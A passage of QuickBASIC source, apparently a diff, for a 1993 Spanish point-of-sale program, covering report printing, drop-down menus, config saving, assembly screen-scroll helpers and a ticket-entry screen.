AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +Box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(Account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + A = 1 + Curlip = 0 + + WHILE A <= MaxRecord + GET #1, A + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(A); + + A = A + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + Box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(Account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + A = A + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR A = 1 TO 10 + LINE INPUT #1, Account(A).Title + NEXT A + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR A = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + A - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT A + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO MaxChoice + LOCATE ItemRow(A), ItemCol(A) + PRINT Choice$(A); + NEXT A + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + +MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + boorra = 1 + + DIM Choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + Choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Proveedores " + Choice$(3) = " Transacciones " + Choice$(4) = " Clientes " + Choice$(5) = " Colores " + Choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del T.P.V" + help$(2) = "Agregar/edit/supr Proveedores" + help$(3) = "Agregar/edit/supr Transacciones" + help$(4) = "Ver e imprimir clientes" + help$(5) = "Fijar color en pantalla" + help$(6) = " Ayuda " + + DO + NewChoice = Menu((Choice), 6, Choice$(), menuRow(), menuCol(), help$(), true) + LOOP WHILE NewChoice = 0 + Choice = NewChoice + RETURN + +MenuSystemFile: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Ficheros " + Choice$(2) = " Status " + Choice$(3) = " Salir " + + menuRow(1) = 3: menuCol(1) = 2 + menuRow(2) = 4: menuCol(2) = 2 + menuRow(3) = 5: menuCol(3) = 2 + + help$(1) = "Operaciones de Configuraci¢n" + help$(2) = "Status actual" + help$(3) = "Salir del T.P.V." + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + + Choice$(1) = " Eliminar Fich. " + Choice$(2) = " Vendedores " + Choice$(3) = " Caja (S/N) " + + menuRow(1) = 5: menuCol(1) = 6 + menuRow(2) = 6: menuCol(2) = 6 + menuRow(3) = 7: menuCol(3) = 6 + + help$(1) = "Eliminaci¢n de ficheros..." + help$(2) = "Agregar/Editar/Eliminar Vendedores" + help$(3) = "Configurar Caja registradora" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1: Elif + CASE 2 + don = 2 + GOSUB empresa + Vende (SubChoice) + don = 0 + CASE 3 + ON ERROR GOTO ErrorCaj + + OPEN "Caja.cfg" FOR INPUT AS #1 + INPUT #1, act$ + CLOSE + + Box 8, 13, 14, 69 + center 11, "¨Hay una caja registradora instalada" + center 12, "en el puerto RS232?" + LOCATE 13, 15: PRINT "Actual: ", act$ + center 14, " <ÄÙ Cambiar" + kbd$ = INKEY$ + WHILE kbd$ = "": kbd$ = INKEY$: WEND + IF kbd$ <> CHR$(13) THEN RETURN + LOCATE 13, 15: INPUT "Nuevo: ", act$ + IF UCASE$(RTRIM$(LTRIM$(act$))) <> "S" THEN act$ = "N" + + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, act$ + CLOSE + + + CASE ELSE + END SELECT + + + CASE 2: Staul + CASE 3: finished = true + CASE ELSE + END SELECT + RETURN + + + + +MenuSystemEdit: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Altas " + Choice$(2) = " Editar/Modificar " + Choice$(3) = " Buscar " + Choice$(4) = " Eliminar " + Choice$(5) = " Imprimir (1, 2) " + + menuRow(1) = 3: menuCol(1) = 9 + menuRow(2) = 4: menuCol(2) = 9 + menuRow(3) = 5: menuCol(3) = 9 + menuRow(4) = 6: menuCol(4) = 9 + menuRow(5) = 7: menuCol(5) = 9 + + help$(1) = "Agregar Proveedores" + help$(2) = "Editar/Modificar Proveedores" + help$(3) = "Busqueda de Proveedores" + help$(4) = "Eliminar Proveedores" + help$(5) = "Imprimir lista individual o r pida" + + SubChoice = Menu(1, 5, Choice$(), menuRow(), menuCol(), help$(), false) + SELECT CASE SubChoice + CASE 1 TO 5 + + CHAIN "Proveed" + + END SELECT + + RETURN + + +MenuSystemAccount: + don = 0 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Compras " + Choice$(2) = " Referencias " + Choice$(3) = " Imprimir (1) " + Choice$(4) = " Imprimir (2) " + + menuRow(1) = 3: menuCol(1) = 26 + menuRow(2) = 4: menuCol(2) = 26 + menuRow(3) = 5: menuCol(3) = 26 + menuRow(4) = 6: menuCol(4) = 26 + + help$(1) = "Agregar/Eliminar/Editar Compras" + help$(2) = "Agregar/Eliminar/Editar Referencias" + help$(3) = "Imprimir Compras del mes" + help$(4) = "Imprimir Referencias" + + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + item% = SubChoice + SELECT CASE SubChoice + CASE 1: vaw = 1: GOTO empresa + CASE 2: vaw = 2: GOTO empresa + CASE 3: vaw = 3: GOTO empresa + CASE 4: vaw = 4: GOTO empresa + END SELECT +RETURN + +empresa: + boorra = 1 + FOR A = 1 TO 10 + IF Trim$(Account(A).Title) = "" THEN + Choice$(A) = RIGHT$(STR$(A), 2) + ". ------------------- " + ELSE + Choice$(A) = RIGHT$(STR$(A), 2) + ". " + Account(A).Title + END IF + menuRow(A) = A + 4 + menuCol(A) = 32 + help$(A) = RTRIM$(Account(A).Title) + NEXT A + + SubChoice = Menu(1, 10, Choice$(), menuRow(), menuCol(), help$(), false) + boorra = 0 + + IF SubChoice > 0 THEN + IF Choice$(SubChoice) = RIGHT$(STR$(SubChoice), 2) + ". ------------------- " THEN + Box 17, 5, 21, 75 + center 19, "Esa empresa no EXISTE, ¨Desea crearla?" + DO: + K$ = INKEY$ + LOOP WHILE K$ = "" + + IF K$ = "s" OR K$ = "S" THEN + Box 17, 5, 21, 75 + center 18, "Introduzca el nombre de la Empresa" + emp$ = GetString$(19, 7, "", end$, 20, 20) + 'end$ contiene la informacion + Account(SubChoice).Title = end$ + SaveState + + ELSE + Box 17, 5, 21, 75 + center 19, "Escoja una empresa" + GOTO empresa + + END IF + END IF + item% = SubChoice + IF vaw = 2 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de REFERENCIAS" + CHAIN "ref#" + END IF + + IF vaw = 1 THEN + Box 17, 5, 21, 75 + center 18, "Por Favor, espere mientras" + center 19, "inicio el modulo de COMPRAS" + CHAIN "compras" + END IF + IF vaw = 3 THEN ImpComp (SubChoice) + IF vaw = 4 THEN ImpRef (SubChoice) + + + END IF + IF don = 2 THEN RETURN + GOTO MenuSystemMain + + + +MenuSystemReport: + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + Choice$(1) = " Ticket " + Choice$(2) = " Balance " + Choice$(3) = " Stock actual " + + menuRow(1) = 3: menuCol(1) = 39 + menuRow(2) = 4: menuCol(2) = 39 + menuRow(3) = 5: menuCol(3) = 39 + + help$(1) = "Ticket, comenzar a fichar" + help$(2) = "Total Vendido, dia, mes" + help$(3) = "Ver o imprimir Stock actual" + + SubChoice = Menu(1, 3, Choice$(), menuRow(), menuCol(), help$(), false) + don = 2 + SELECT CASE SubChoice + CASE 1 + GOSUB empresa + Ticket (SubChoice%) + CASE 2 + GOSUB empresa + Balan (SubChoice%) + CASE 3 + GOSUB empresa + Stock (SubChoice%) + CASE ELSE + END SELECT + RETURN + +MenuSystemColors: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Monocrom tico " + Choice$(2) = " Cyan/Azul " + Choice$(3) = " Azul/Cyan " + Choice$(4) = " Rojo/Gris " + + menuRow(1) = 3: menuCol(1) = 50 + menuRow(2) = 4: menuCol(2) = 50 + menuRow(3) = 5: menuCol(3) = 50 + menuRow(4) = 6: menuCol(4) = 50 + + help$(1) = "Color para presentaci¢n monocrom tico y LCD" + help$(2) = "Color presentado cyan" + help$(3) = "Color presentado azul" + help$(4) = "Color presentado rojo" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 TO 4 + ColorPref = SubChoice + SaveState + CASE ELSE + END SELECT + RETURN + +help: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + Choice$(1) = " Uso de la ayuda " + Choice$(2) = " Sobre los Men£s " + Choice$(3) = " Grabaci¢n de Datos " + Choice$(4) = " Acerca de... " + + menuRow(1) = 3: menuCol(1) = 57 + menuRow(2) = 4: menuCol(2) = 57 + menuRow(3) = 5: menuCol(3) = 57 + menuRow(4) = 6: menuCol(4) = 57 + + help$(1) = "Uso de la ayuda en T.P.V." + help$(2) = "Ayuda en los men£s" + help$(3) = "Modo de grabar los Datos" + help$(4) = "Creditos del Terminal Punto de Venta" + + SubChoice = Menu(1, 4, Choice$(), menuRow(), menuCol(), help$(), false) + + SELECT CASE SubChoice + CASE 1 + RETURN + CASE 2 + RETURN + CASE 3 + RETURN + CASE 4 + Box 9, 10, 16, 70 + center 10, "T E R M I N A L P U N T O de V E N T A" + center 12, "by" + center 14, "Jos‚ David Guill‚n (c) 1993" + center 16, "Pulse una tecla" + SLEEP + CASE ELSE + END SELECT + RETURN + + + + +END SUB + +'PrintHelpLine: +' Prints help text on the bottom row in the proper color +SUB PrintHelpLine (help$) + COLOR colors%(5, ColorPref), colors%(4, ColorPref) + LOCATE 25, 1 + PRINT SPACE$(80); + center 25, help$ +END SUB + +'SaveState: +' Save color preference and account information to "Personal.cfg" data file. +SUB SaveState + OPEN "Personal.cfg" FOR OUTPUT AS #2 + PRINT #2, ColorPref + + FOR A = 1 TO 19 + PRINT #2, Account(A).Title + NEXT A + + CLOSE #2 +END SUB + +'ScrollDown: +' Call the assembly program to scroll the screen down +SUB ScrollDown + DEF SEG = VARSEG(ScrollDownAsm(1)) + CALL Absolute(VARPTR(ScrollDownAsm(1))) + DEF SEG +END SUB + +'ScrollUp: +' Calls the assembly program to scroll the screen up +SUB ScrollUp + DEF SEG = VARSEG(ScrollUpAsm(1)) + CALL Absolute(VARPTR(ScrollUpAsm(1))) + DEF SEG +END SUB + +SUB Staul + +END SUB + +SUB Stock (EEE%) + +END SUB + +SUB Ticket (e%) + + 'Stores info about each column + REDIM help$(6), Col(6), vis(6), max(6), CurrString$(1), CurrFig#(6) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000), Ca#(1000), Cb$(1000), Cc#(1000), Cd#(1000), Ce#(1000), lin$(155), Title$(9) + + + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Fecha" + center 19, "con la que guardar ticket del d¡a." + PrintHelpLine "Fecha: mm - dd - aaaa" + DO + emp$ = GetString$(20, 7, DATE$, end$, 10, 10) + Fecha$ = end$ + M = VAL(MID$(Fecha$, 1, 2)) + D = VAL(MID$(Fecha$, 4, 2)) + IF M <= 12 AND D <= 31 THEN gf = 1 + IF LEN(Fecha$) < 10 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + dia$ = MID$(Fecha$, 4, 2) + an$ = MID$(Fecha$, 7, 4) + CurrDia$ = dia$ + compufech$ = mes$ + dia$ + an$ + + help$(1) = "Vendedor 1 a 9 " + help$(2) = "Referencia " + help$(3) = "Unidades " + + Col(1) = 2: vis(1) = 4: max(1) = 1 + Col(2) = 9: vis(2) = 6: max(2) = 6 + Col(3) = 43: vis(3) = 5: max(3) = 2 + + 'Open random access file + + OPEN "Vendedor" + Cvit$(e%) FOR RANDOM AS #1 LEN = 69 + + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + + FOR tAt = 1 TO 9 + GET #1, tAt + 1 + Title$(tAt) = T$ + NEXT tAt + CLOSE + + + file$ = "T-" + dia$ + mes$ + "." + Cvit$(e) + + OPEN file$ FOR RANDOM AS #1 LEN = 19 + + FIELD #1, 2 AS IoDia$, 1 AS IoVen$, 6 AS IoRef$, 3 AS IoUnd$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + 'Initialize variables + CurrFig#(1) = 0 + CurrFig#(2) = 0 + CurrFig#(3) = 0 + + GET #1, 1 + IF valid$ <> "SI" THEN + LSET IoDia$ = "" + LSET IoVen$ = STR$(0) + LSET IoRef$ = STR$(0) + LSET IoUnd$ = STR$(0) + PUT #1, 2 + LSET valid$ = "SI" + LSET IoMaxRecord$ = "1" + PUT #1, 1 + END IF + + RecordMin = VAL(IoMaxRecord$) + MaxRecord = 1 + 'MaxRecord = VAL(IoMaxRecord$) + + GOSUB CargaReferencias + + + 'Draw Screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 2, 1, 21, 80 + Box 22, 1, 24, 80 + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80); + LOCATE 1, 4: PRINT "Empresa: " + Trim$(Account(e%).Title); + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + LOCATE 3, 2: PRINT " No. ³ Ref# ³ Concepto ³ Und ³ P.V.P. ³ Total " + LOCATE 4, 2: PRINT "ÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ" + u1$ = " ³ ³ ³ ³ ³ " + u1x$ = "ßßßßßß³ßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßßßßß" + u2$ = "##,###,###" + u3$ = "#,###,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + + CurrTopline = 1: bajabarra = 1 + vex = 1 + + 'GOSUB EditPrintWholeScreen + CurrRow = 1 + vex = 0 + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + bajabarra = 0 + CurrRow = 1 + CurrCol = 1 + + CurrRecord = CurrTopline + CurrRow - 1 + + PrintHelpLine help$(CurrCol) + "| " + + + 'GOSUB EditGetLine + + finished = false + + GOSUB EditPrintBalances + + + 'Loop until is pressed + DO + GOSUB EditShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + bajabar = 0: bajabarra = 0 + + IF kbd$ >= " " AND kbd$ < "~" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + GOSUB EditEditItem + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + GOSUB EditMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EditMoveDown + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left Arrow,BackTab + CurrCol = CurrCol - 1 + IF CurrCol <= 0 THEN CurrCol = 3 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right Arrow,Tab + CurrCol = (CurrCol) MOD 3 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 6 + CASE CHR$(0) + "I" 'Page Up + CurrRow = 1 + CurrTopline = CurrTopline - 16 + IF CurrTopline < 1 THEN + CurrTopline = 1 + END IF + '************************ + bajabarra = 1 + + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + CASE CHR$(0) + "Q" 'Page Down + CurrRow = 1 + CurrTopline = CurrTopline + 16 + IF CurrTopline > MaxRecord THEN + CurrTopline = MaxRecord + END IF + bajabarra = 1 + GOSUB EditPrintWholeScreen + GOSUB EditGetLine + bajabarra = 0 + GOSUB PrintBalan + + CASE CHR$(0) + "<" 'F2 + finished = true + CASE CHR$(0) + "C" 'F9 + GOSUB EditAddRecord + CASE CHR$(0) + "D" 'F10 + GOSUB EditDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP 